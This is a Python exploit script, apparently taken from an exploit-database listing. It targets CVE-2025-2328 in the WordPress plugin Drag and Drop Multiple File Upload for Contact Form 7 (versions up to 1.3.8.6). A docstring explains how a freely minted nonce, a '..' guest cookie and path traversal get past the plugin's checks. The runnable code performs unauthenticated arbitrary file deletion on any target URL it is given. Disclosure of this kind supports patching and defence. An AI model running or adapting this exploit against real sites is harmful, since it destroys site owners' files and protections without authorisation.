## https://sploitus.com/exploit?id=PACKETSTORM:226468
#!/usr/bin/env python3
# Exploit Title: WordPress Plugin Drag and Drop Multiple File Upload for Contact Form 7 <= 1.3.8.6 - Unauthenticated Arbitrary File Deletion
# Google Dork: N/A
# Date: 2026-07-10
# Exploit Author: A. Ramos <aramosf@gmail.com> / @aramosf
# Vendor Homepage: https://wordpress.org/plugins/drag-and-drop-multiple-file-upload-contact-form-7/
# Software Link: https://downloads.wordpress.org/plugin/drag-and-drop-multiple-file-upload-contact-form-7.1.3.8.6.zip
# Version: 1.3.8.6 (REQUIRED)
# Tested on: WordPress 6.6.2, PHP 8.2, MariaDB 10.11 (Docker, Debian 12 / Linux)
# CVE : CVE-2025-2328
"""
Drag and Drop Multiple File Upload for CF7 <= 1.3.8.6 registers the nopriv AJAX action
dnd_codedropz_upload_delete (inc/dnd-upload-cf7.php:28). The deletion target `path` is only
sanitize_text_field()'d (../ survives), and the per-guest ownership check compares
dnd_cf7_get_unique_id() (== $_COOKIE['wpcf7_guest_user_id'], attacker-controlled) against
dirname($path) โ so setting the cookie to '..' and path to '../<file>' satisfies the check and lets
the attacker traverse out of the per-guest folder to delete any file under the plugin upload tree
(wp-content/uploads/wp_dndcf7_uploads/), including other guests' uploads and the protective
.htaccess/index.php. The required nonce is freely minted by the companion nopriv action
_wpcf7_check_nonce, which returns a valid 'dnd-cf7-security-nonce' to anyone. The only extra hurdle
is a cURL User-Agent block (line 999), bypassed with a browser UA. CF7/Flamingo are NOT required.
Prior state: plugin active. A canary is planted inside the upload tree (as any uploaded file would
be) to demonstrate deletion.
"""
import argparse, sys, re
import requests
requests.packages.urllib3.disable_warnings()
UA = {"User-Agent": "Mozilla/5.0"}
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--target", required=True)
ap.add_argument("--path", default="../canary.txt",
help="path relative to wp_dndcf7_uploads/wpcf7-files (default deletes the canary)")
ap.add_argument("--canary-url",
default="/wp-content/uploads/wp_dndcf7_uploads/canary.txt",
help="URL used only to check deletion of the demo canary")
args = ap.parse_args()
base = args.target.rstrip("/")
s = requests.Session(); s.verify = False
before = requests.get(base + args.canary_url, verify=False).status_code
nonce = re.search(r'"data":"([^"]+)"',
s.post(base + "/wp-admin/admin-ajax.php",
data={"action": "_wpcf7_check_nonce"}, headers=UA, timeout=20).text).group(1)
print(f"[*] Target: {base} | self-minted nonce: {nonce}")
h = dict(UA); h["Cookie"] = "wpcf7_guest_user_id=.."
r = s.post(base + "/wp-admin/admin-ajax.php", headers=h,
data={"action": "dnd_codedropz_upload_delete", "security": nonce, "path": args.path},
timeout=20)
print(f"[*] delete '{args.path}' -> HTTP {r.status_code} :: {r.text[:80]}")
after = requests.get(base + args.canary_url, verify=False).status_code
print(f"[*] canary {before} -> {after}")
if before == 200 and after == 404:
print("\n[+] ARBITRARY FILE DELETION CONFIRMED โ unauthenticated attacker deleted the canary "
"via path traversal.")
return 0
print("\n[-] not confirmed"); return 1
if __name__ == "__main__":
sys.exit(main())